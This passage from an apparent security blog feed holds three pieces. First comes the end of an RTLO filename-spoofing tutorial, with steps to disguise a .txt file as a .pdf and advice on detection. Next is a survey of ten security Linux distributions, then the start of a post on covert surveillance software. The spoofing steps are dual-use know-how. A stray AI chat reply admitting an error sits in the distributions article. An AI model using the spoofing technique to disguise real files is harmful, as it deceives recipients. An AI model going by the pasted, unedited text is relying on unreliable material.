extensions&#8221;</p></li></ol><h4>macOS:</h4><ol><li><p>Open Finder</p></li><li><p>Click Finder menu, then Settings</p></li><li><p>Click the &#8220;Advanced&#8221; tab</p></li><li><p>Check &#8220;Show all filename extensions&#8221;</p></li></ol><h3>Step 3: Create a Test File</h3><ol><li><p>Create a new text file and save it as &#8216;document.txt&#8217;</p></li><li><p>Right-click the file and select Rename</p></li><li><p>Type: <code>document</code></p></li><li><p>Press <code>Ctrl+V</code> (Windows) or <code>Cmd+V</code> (Mac) to paste the RTLO character.</p></li><li><p>Type: <code>fdp.txt</code></p></li><li><p>Press Enter to save the filename</p></li></ol><p>The file will appear as <code>documenttxt.pdf</code> but is actually a <code>.txt</code> file. Check the file Type to confirm it&#8217;s still a text document.</p><div><hr></div><h2>Detection and Defense</h2><p>Defending against RTLO attacks requires a multi-layered approach that balances security with usability. </p><p>The challenge is that U+202E cannot simply be removed or blocked because it&#8217;s essential for billions of users writing in right-to-left languages like Arabic, Hebrew, and Persian. This creates a permanent tension between linguistic accessibility and security.</p><p>The solution is to build smarter defenses that detect anomalous usage rather than blocking the character entirely. For example, RTLO appearing in Windows executable filenames has no legitimate use case and should always trigger an alert.</p><p><strong>For individual users</strong>, the first line of defense is awareness and careful file inspection:</p><ul><li><p>Enable &#8220;Show file extensions&#8221; in Windows Explorer through the View menu so you can see the complete filename including the extension</p></li><li><p>When you receive an unexpected file attachment, check the Type column in File Explorer, which will show &#8220;Application&#8221; for executable files regardless of how the filename appears</p></li><li><p>Right-click suspicious files and select Properties to view the true file extension and other metadata</p></li><li><p>Be particularly wary of files with unusual spacing, question marks, or small boxes in their names, as these often indicate invisible Unicode characters</p></li></ul><p><strong>For organizations</strong>, defense requires technical controls at multiple layers:</p><ul><li><p>Email gateways should be configured to strip RTLO characters from attachments and message bodies, or at minimum flag messages containing them for review</p></li><li><p>Endpoint detection and response systems should alert when RTLO appears in executable filenames on workstations</p></li><li><p>Security awareness training should include specific examples of RTLO attacks so employees know what to watch for</p></li><li><p>File scanning and malware analysis tools should normalize Unicode before performing keyword analysis to prevent evasion</p></li></ul><div><hr></div><p>RTLO serves a legitimate purpose for multilingual communication and cannot be blocked entirely. Effective defenses focus on detecting anomalous usage, such as RTLO appearing in executable filenames or phishing emails, which have no legitimate use case.</p>]]></content:encoded></item><item><title><![CDATA[Linux Distributions for Ethical Hacking, Pentesting & Malware Analysis]]></title><description><![CDATA[Ethical hacking, penetration testing, and malware analysis require hundreds of specialized tools. Security distributions provide these complete toolsets pre-installed, pre-configured, and ready to use.]]></description><link>https://darkmarc.substack.com/p/linux-distributions-for-ethical-hacking</link><guid isPermaLink="false">https://darkmarc.substack.com/p/linux-distributions-for-ethical-hacking</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Sun, 18 Jan 2026 23:57:13 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/f54f60b9-b03f-47fe-92a7-dbd339fa08a9_460x240.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Ethical hacking, penetration testing, and malware analysis require hundreds of specialized tools.</strong> Security distributions provide these complete toolsets pre-installed, pre-configured, and ready to use.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UFtY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd19ac4f8-88cc-49e3-a948-6671f0a160f3_1000x333.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UFtY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd19ac4f8-88cc-49e3-a948-6671f0a160f3_1000x333.png 424w, https://substackcdn.com/image/fetch/$s_!UFtY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd19ac4f8-88cc-49e3-a948-6671f0a160f3_1000x333.png 848w, https://substackcdn.com/image/fetch/$s_!UFtY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd19ac4f8-88cc-49e3-a948-6671f0a160f3_1000x333.png 1272w, https://substackcdn.com/image/fetch/$s_!UFtY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd19ac4f8-88cc-49e3-a948-6671f0a160f3_1000x333.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UFtY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd19ac4f8-88cc-49e3-a948-6671f0a160f3_1000x333.png" width="1000" height="333" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d19ac4f8-88cc-49e3-a948-6671f0a160f3_1000x333.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:333,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:198247,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/184995160?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd19ac4f8-88cc-49e3-a948-6671f0a160f3_1000x333.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UFtY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd19ac4f8-88cc-49e3-a948-6671f0a160f3_1000x333.png 424w, https://substackcdn.com/image/fetch/$s_!UFtY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd19ac4f8-88cc-49e3-a948-6671f0a160f3_1000x333.png 848w, https://substackcdn.com/image/fetch/$s_!UFtY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd19ac4f8-88cc-49e3-a948-6671f0a160f3_1000x333.png 1272w, https://substackcdn.com/image/fetch/$s_!UFtY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd19ac4f8-88cc-49e3-a948-6671f0a160f3_1000x333.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Security distributions provide complete toolsets pre-installed and ready to use, eliminating weeks of manual setup. </p><p>Building a security platform from scratch requires researching tools, resolving dependencies, configuring permissions, setting up specialized drivers, and maintaining updates across hundreds of packages. </p><p>These distributions include everything needed for reconnaissance, vulnerability scanning, exploitation, password attacks, wireless testing, web application analysis, malware reverse engineering, and forensic investigation. </p><p>They also provide specialized configurations impossible on standard systems: kernel patches for packet injection, isolated malware environments, and forensically sound operating modes. </p><p>Professional penetration testers, security researchers, and incident responders use these as standard platforms. The distributions covered here represent the most widely used platforms for penetration testing, malware analysis, and digital forensics.</p><div><hr></div><h2>Penetration Testing &amp; Ethical Hacking Distributions</h2><p>These distributions provide tools for offensive security assessment of networks, web applications, wireless infrastructure, and systems. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nFMp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6687facc-e463-4915-a69a-0ecf236daf03_2012x1496.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nFMp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6687facc-e463-4915-a69a-0ecf236daf03_2012x1496.png 424w, https://substackcdn.com/image/fetch/$s_!nFMp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6687facc-e463-4915-a69a-0ecf236daf03_2012x1496.png 848w, https://substackcdn.com/image/fetch/$s_!nFMp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6687facc-e463-4915-a69a-0ecf236daf03_2012x1496.png 1272w, https://substackcdn.com/image/fetch/$s_!nFMp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6687facc-e463-4915-a69a-0ecf236daf03_2012x1496.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nFMp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6687facc-e463-4915-a69a-0ecf236daf03_2012x1496.png" width="1456" height="1083" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6687facc-e463-4915-a69a-0ecf236daf03_2012x1496.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1083,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1047331,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/184995160?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6687facc-e463-4915-a69a-0ecf236daf03_2012x1496.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nFMp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6687facc-e463-4915-a69a-0ecf236daf03_2012x1496.png 424w, https://substackcdn.com/image/fetch/$s_!nFMp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6687facc-e463-4915-a69a-0ecf236daf03_2012x1496.png 848w, https://substackcdn.com/image/fetch/$s_!nFMp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6687facc-e463-4915-a69a-0ecf236daf03_2012x1496.png 1272w, https://substackcdn.com/image/fetch/$s_!nFMp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6687facc-e463-4915-a69a-0ecf236daf03_2012x1496.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3>1. <strong>Kali Linux</strong></h3><p><strong>Foundation:</strong> Debian Linux (testing branch)</p><p><strong>Developer:</strong> Offensive Security</p><p><strong>Tool collection:</strong> Over 600 pre-installed security tools covering all phases of penetration testing: reconnaissance, vulnerability scanning, wireless attacks, web application testing, exploitation, password cracking, network sniffing, post-exploitation, forensics, and reporting.</p><p><strong>Key features:</strong> MetaPackages system for installing tool groups by specialty area. Runs on diverse platforms including standard computers, ARM devices, Windows Subsystem for Linux, virtual machines, Docker containers, and cloud environments. Rolling release model ensures continuous updates. Multiple desktop environments available. Industry standard with official training courses including PWK for OSCP certification. Largest community and tutorial ecosystem of any security distribution.</p><p><strong>System requirements:</strong> Minimum 2GB RAM and 20GB disk space. Recommended 4GB RAM and 40GB disk space.</p><p><strong>Updates and maintenance:</strong> Rolling release with weekly update cycles. Maintained by Offensive Security with worldwide repository mirrors.</p><p><strong>Documentation:</strong> Extensive official documentation and largest collection of community-created tutorials and guides. Nearly all penetration testing learning materials assume Kali environment.</p><p><strong>Community:</strong> Largest security distribution community across forums, Discord, Reddit, and social media. Professional penetration testers, researchers, and students worldwide.</p><p><strong>Best applications:</strong> Professional penetration testing engagements, security certification preparation, security research, standardized testing methodologies, educational purposes.</p><p><strong>Official website:</strong> </p><p><a href="https://www.kali.org">https://www.kali.org</a></p><div><hr></div><h3>2. <strong>Parrot Security OS</strong></h3><p><strong>Foundation:</strong> Debian Linux (testing branch)</p><p><strong>Developer:</strong> Parrot Security Team</p><p><strong>Tool collection:</strong> Over 700 security tools covering penetration testing, digital forensics, reverse engineering, and privacy operations. Includes all standard security testing capabilities plus enhanced privacy and anonymity tools.</p><p><strong>Key features:</strong> AnonSurf routes all traffic through Tor with one click. Full disk encryption by default. Lower resource consumption than Kali. Sandboxed browser with privacy extensions. Cryptocurrency wallet support. Development environments for multiple programming languages. Multiple editions: Security (full toolkit), Home (privacy tools only), Cloud (lightweight), and IoT (ARM devices). Strong emphasis on privacy and anonymity alongside offensive security capabilities.</p><p><strong>System requirements:</strong> Minimum 2GB RAM and 20GB disk space. Recommended 4GB RAM and 40GB disk space. Runs efficiently on older hardware.</p><p><strong>Updates and maintenance:</strong> Rolling release model with worldwide update mirrors. Faster tool updates than Kali with slightly less conservative testing.</p><p><strong>Documentation:</strong> Active community documentation, forums, and tutorials. Smaller than Kali but substantial resources available.</p><p><strong>Community:</strong> Growing privacy-focused security community with strong forum support and regular content creation.</p><p><strong>Best applications:</strong> Privacy-conscious security work, limited hardware resources, development combined with security testing, cloud-based testing, users wanting integrated anonymity tools.</p><p><strong>Official website:</strong> </p><p><a href="https://www.parrotsec.org">https://www.parrotsec.org</a></p><div><hr></div><h3>3. <strong>BlackArch Linux</strong></h3><p><strong>Foundation:</strong> Arch Linux</p><p><strong>Developer:</strong> BlackArch Linux Team</p><p><strong>Tool collection:</strong> Over 2,800 security tools across dozens of specialized categories, representing the largest collection available in any distribution. Covers every conceivable security testing scenario from common to highly specialized.</p><p><strong>Key features:</strong> Largest tool repository of any security distribution. Can be installed as complete operating system or added as repository to existing Arch installation. Rolling release with bleeding-edge tool versions. Highly customizable with granular installation control: individual tools, by category, or complete collection. Lightweight base system. Access to Arch User Repository for additional community packages. Pacman package manager for efficient package management.</p><p><strong>System requirements:</strong> Minimum 2GB RAM and 20GB disk space. Recommended 4GB RAM and 40GB disk space. Actual requirements depend on chosen desktop environment.</p><p><strong>Updates and maintenance:</strong> Continuous rolling release. Tools updated immediately upon upstream release. Requires user management of updates with occasional manual intervention.</p><p><strong>Documentation:</strong> Arch Wiki provides comprehensive Linux documentation. BlackArch-specific documentation covers repository usage. Assumes existing Linux competency.</p><p><strong>Community:</strong> Arch Linux community plus BlackArch-specific forums and IRC. Smaller but highly knowledgeable user base.</p><p><strong>Best applications:</strong> Security researchers needing specialized tools, users proficient with Arch Linux, environments requiring latest tool versions, highly customized platforms, advanced penetration testers.</p><p><strong>Official website:</strong> </p><p><a href="https://blackarch.org">https://blackarch.org</a></p><div><hr></div><h3>4. <strong>BackBox</strong></h3><p><strong>Foundation:</strong> Ubuntu LTS (Long Term Support)</p><p><strong>Developer:</strong> BackBox Team</p><p><strong>Tool collection:</strong> Curated selection of essential penetration testing tools covering reconnaissance, vulnerability assessment, exploitation, privilege escalation, access maintenance, reverse engineering, and stress testing. Quality over quantity approach.</p><p><strong>Key features:</strong> Ubuntu LTS foundation provides five years of support and extensive hardware compatibility. Minimal desktop environment for fast performance. Curated tool selection avoids overwhelming options. Optimized for quick boot and responsive operation. Familiar Ubuntu package management. Sensible defaults reduce configuration requirements.</p><p><strong>System requirements:</strong> Minimum 2GB RAM and 15GB disk space. Recommended 4GB RAM and 25GB disk space. Efficient on modest hardware.</p><p><strong>Updates and maintenance:</strong> Ubuntu LTS update schedule with regular security patches. Conservative approach prioritizes stability over cutting-edge versions.</p><p><strong>Documentation:</strong> Official wiki covers installation, configuration, and tool usage. Adequate documentation for focused tool set.</p><p><strong>Community:</strong> Ubuntu ecosystem plus BackBox-specific forums. Moderate size with helpful support.</p><p><strong>Best applications:</strong> Ubuntu familiarity with security tools, fast deployment scenarios, minimal overhead environments, curated tool preferences, field work prioritizing speed and reliability.</p><p><strong>Official website:</strong> </p><p><a href="https://www.backbox.org">https://www.backbox.org</a></p><div><hr></div><h3>5. <strong>Pentoo</strong></h3><p><strong>Foundation:</strong> Gentoo Linux</p><p><strong>Developer:</strong> Pentoo Team</p><p><strong>Tool collection:</strong> Comprehensive penetration testing toolkit including network assessment, wireless security, web application testing, exploitation, password cracking, and forensics. All tools compiled from source for hardware optimization.</p><p><strong>Key features:</strong> Source-based compilation optimized for specific CPU architectures. Hardened kernel with security patches providing enhanced memory protections and kernel hardening. Live USB with persistence for field work. Portage package manager with USE flags for compile-time feature control. Near-complete system customization. Access to Gentoo&#8217;s extensive portage repository.</p><p><strong>System requirements:</strong> Minimum 2GB RAM and 30GB disk space. Recommended 8GB RAM, 50GB disk space, and multi-core CPU. Compilation benefits from additional resources.</p><p><strong>Updates and maintenance:</strong> Updates require recompiling packages. Time-intensive but allows continuous optimization. Major updates may require substantial recompilation.</p><p><strong>Documentation:</strong> Gentoo Handbook for system-level documentation. Pentoo wiki for security tools. Assumes significant Linux expertise.</p><p><strong>Community:</strong> Gentoo community plus Pentoo-specific IRC and forums. Smaller but highly knowledgeable.</p><p><strong>Best applications:</strong> Gentoo experience required, performance-critical operations, highly customized environments, hardware-optimized performance, complete system control.</p><p><strong>Official website:</strong> </p><p><a href="https://www.pentoo.ch">https://www.pentoo.ch</a></p><div><hr></div><h2>Malware Analysis Distributions</h2><h3>6. <strong>REMnux</strong></h3><p><strong>Foundation:</strong> Ubuntu LTS</p><p><strong>Developer:</strong> Lenny Zeltser and David Westcott</p><p><strong>Tool collection:</strong> Specialized malware analysis toolkit covering static analysis, dynamic analysis, code reverse engineering, document analysis, script deobfuscation, memory forensics, and behavior analysis. Includes disassemblers, decompilers, debuggers, sandboxes, and extensive Python analysis libraries.</p><p><strong>Key features:</strong> Purpose-built for malware reverse engineering. Pre-configured tools optimized for malware analysis workflows. Network isolation configurations for safe malware interaction. YARA integration for pattern matching. Extensive deobfuscation and unpacking capabilities. Support for analyzing executables, documents, scripts, and web-based threats. Memory forensics with Volatility Framework. Python libraries for programmatic analysis.</p><p><strong>System requirements:</strong> Minimum 2GB RAM and 20GB disk space. Recommended 4GB RAM and 40GB disk space. More RAM improves memory-intensive analysis.</p><p><strong>Updates and maintenance:</strong> Regular updates with new tools, signatures, and configurations. Stays current with evolving malware analysis techniques.</p><p><strong>Documentation:</strong> Comprehensive documentation covering workflows and best practices. Regular blog posts with current techniques. Detailed guides for common scenarios.</p><p><strong>Community:</strong> Active malware analysis community. Used in professional training courses. Community-contributed walkthroughs and tutorials.</p><p><strong>Best applications:</strong> Malware reverse engineering, suspicious file analysis, incident response involving malware, security research, signature development, malware analysis training.</p><p><strong>Official website:</strong> </p><p><a href="https://remnux.org">https://remnux.org</a></p><div><hr></div><h3>7. <strong>Tsurugi Linux</strong></h3><p><strong>Foundation:</strong> Ubuntu LTS</p><p><strong>Developer:</strong> Tsurugi Linux Project</p><p><strong>Tool collection:</strong> Over 130 tools spanning digital forensics, incident response, and malware analysis. Covers disk imaging, file system analysis, deleted file recovery, memory forensics, timeline analysis, static and dynamic malware analysis, network forensics, and mobile device analysis.</p><p><strong>Key features:</strong> Bridges forensics and malware analysis disciplines. Comprehensive memory forensics capabilities. Live forensic acquisition without evidence modification. Automated artifact collection. IOC scanning and detection. Mobile forensics for Android and iOS. Network forensics with session reconstruction. Timeline correlation from multiple sources.</p><p><strong>System requirements:</strong> Minimum 4GB RAM and 30GB disk space. Recommended 8GB RAM and 60GB disk space. Memory-intensive tasks benefit from additional RAM.</p><p><strong>Updates and maintenance:</strong> Ubuntu LTS foundation with regular security and tool updates. Conservative approach prioritizes stability.</p><p><strong>Documentation:</strong> Official documentation covers workflows and investigation methodologies. Includes incident response scenario guides.</p><p><strong>Community:</strong> DFIR-focused community with practical incident response emphasis. Specialized knowledge base.</p><p><strong>Best applications:</strong> Incident response investigations, combined forensics and malware analysis, enterprise security operations, threat hunting, compromise assessments, SOC analysis.</p><p><strong>Official website:</strong> </p><p><a href="https://tsurugi-linux.org">https://tsurugi-linux.org</a></p><div><hr></div><h2>Digital Forensics Distributions</h2><h3>8. <strong>CAINE (Computer Aided Investigative Environment)</strong></h3><p><strong>Foundation:</strong> Ubuntu LTS</p><p><strong>Developer:</strong> Nanni Bassetti</p><p><strong>Tool collection:</strong> Complete forensic suite including disk imaging, file system analysis, file recovery, memory forensics, network forensics, mobile device forensics, timeline analysis, and evidence reporting. Integrated tools work together through unified interface.</p><p><strong>Key features:</strong> Automatic write-blocking in forensic mode prevents evidence modification. Forensic imaging with cryptographic hash generation for integrity verification. Advanced file carving for hundreds of file types. Timeline analysis from multiple sources. Case management and reporting. Operates entirely from live media without touching target storage. Semi-automated workflows guide investigation processes.</p><p><strong>System requirements:</strong> Minimum 4GB RAM and 30GB disk space. Recommended 8GB RAM and 100GB+ disk space for case storage. High-capacity storage needed for forensic images.</p><p><strong>Updates and maintenance:</strong> Ubuntu LTS foundation with regular updates. Conservative testing ensures forensic tool reliability.</p><p><strong>Documentation:</strong> Official documentation covers forensic workflows and best practices. Community forum with case studies and peer support.</p><p><strong>Community:</strong> Forensic investigator community including law enforcement and corporate investigators. Case study discussions and technique sharing.</p><p><strong>Best applications:</strong> Law enforcement investigations, corporate investigations, e-discovery, incident response with evidence preservation, forensic training, legally defensible processes.</p><p><strong>Official website:</strong> </p><p><a href="https://www.caine-live.net">https://www.caine-live.net</a></p><div><hr></div><h3>9. <strong>DEFT Linux</strong></h3><p><strong>Foundation:</strong> Custom Linux base (previously Ubuntu)</p><p><strong>Developer:</strong> Stefano Fratepietro</p><p><strong>Tool collection:</strong> Forensic tools for disk analysis, file recovery, memory forensics, mobile device forensics, network forensics, and anti-forensics detection. Supports multiple file systems including NTFS, FAT, ext2/3/4, HFS+, and APFS. Includes DART for Windows providing portable forensic tools.</p><p><strong>Key features:</strong> Dual-platform approach with DART for Windows forensic consistency. Automatic write-blocking in forensic mode. RAID reconstruction capabilities. Live forensics for volatile data collection. Hash verification for evidence integrity. Case management framework. International support with multiple languages. Portable DART tools require no installation on target systems.</p><p><strong>System requirements:</strong> Minimum 2GB RAM and 20GB disk space. Recommended 4GB RAM and 60GB disk space plus additional storage for forensic images.</p><p><strong>Updates and maintenance:</strong> Regular updates with new tools and capabilities. Update mechanism preserves forensic mode integrity.</p><p><strong>Documentation:</strong> User manual covers workflows and investigation methodologies. Community wiki with case studies and techniques.</p><p><strong>Community:</strong> International forensic community with multi-language support. Forum discussions and technique sharing.</p><p><strong>Best applications:</strong> Cross-platform forensics (Windows and Linux), live and post-mortem analysis, mobile device forensics, corporate investigations, law enforcement, portable forensic capabilities.</p><p><strong>Official website:</strong> </p><p><a href="https://www.deftlinux.net">https://www.deftlinux.net</a></p><p>You&#8217;re absolutely right - I made an error. ArchStrike IS a standalone distribution. It provides ISO images that can be installed as a complete operating system, just like BlackArch. It can also be added as a repository to existing Arch installations, but that doesn&#8217;t make it &#8220;not standalone.&#8221;</p><p>Let me restore ArchStrike as the 10th distribution:</p><div><hr></div><h3>10. <strong>ArchStrike</strong></h3><p><strong>Foundation:</strong> Arch Linux</p><p><strong>Developer:</strong> ArchStrike Team</p><p><strong>Tool collection:</strong> Over 2,300 security packages organized into categories like exploitation, forensics, networking, cryptography, anti-forensics, backdoors, scanners, and more. Can be installed as complete distribution or added as repository to existing Arch installation.</p><p><strong>Key features:</strong> Comprehensive security tool repository built on Arch Linux foundation. Modular installation allows building custom security workstations. Rolling release provides bleeding-edge tools. Pacman package manager for efficient package management. Access to Arch User Repository. Can start with minimal base and add only needed tools. Follows Arch philosophy of simplicity and user control.</p><p><strong>System requirements:</strong> Minimum 2GB RAM and 20GB disk space. Recommended 4GB RAM and 40GB disk space. Requirements depend on installed components.</p><p><strong>Updates and maintenance:</strong> Continuous rolling release. Tools updated as upstream releases become available. Requires user management of updates.</p><p><strong>Documentation:</strong> ArchStrike documentation covers installation and repository usage. Arch Wiki provides comprehensive system documentation. Assumes Linux proficiency.</p><p><strong>Community:</strong> Arch Linux community plus ArchStrike-specific support channels. Smaller but knowledgeable user base.</p><p><strong>Best applications:</strong> Arch Linux users wanting security tools, building custom security workstations, modular installations, users preferring Arch ecosystem, highly customized platforms.</p><p><strong>Official website:</strong> </p><p><a href="https://archstrike.org">https://archstrike.org</a></p><div><hr></div><p>Each distribution offers unique strengths tailored to specific security disciplines.</p><p>Selecting the right platform depends on your technical experience, hardware resources, and whether your work focuses on penetration testing, malware analysis, or digital forensics. <em>Happy Hacking!</em></p>]]></content:encoded></item><item><title><![CDATA[Spyrix: Covert Surveillance and Monitoring for Windows, iOS, and Android]]></title><description><![CDATA[Spyrix is a commercial monitoring and surveillance software designed for covert remote observation of user activities in real time.]]></description><link>https://darkmarc.substack.com/p/spyrix-covert-surveillance-and-monitoring</link><guid isPermaLink="false">https://darkmarc.substack.com/p/spyrix-covert-surveillance-and-monitoring</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Sat, 13 Dec 2025 05:14:51 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!C59_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43fd1cd8-d99b-4dcb-b3b9-7c53c649b7fc_1000x333.gif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Spyrix is a commercial monitoring and surveillance software</strong> designed for covert remote observation of user activities in real time. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!C59_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43fd1cd8-d99b-4dcb-b3b9-7c53c649b7fc_1000x333.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 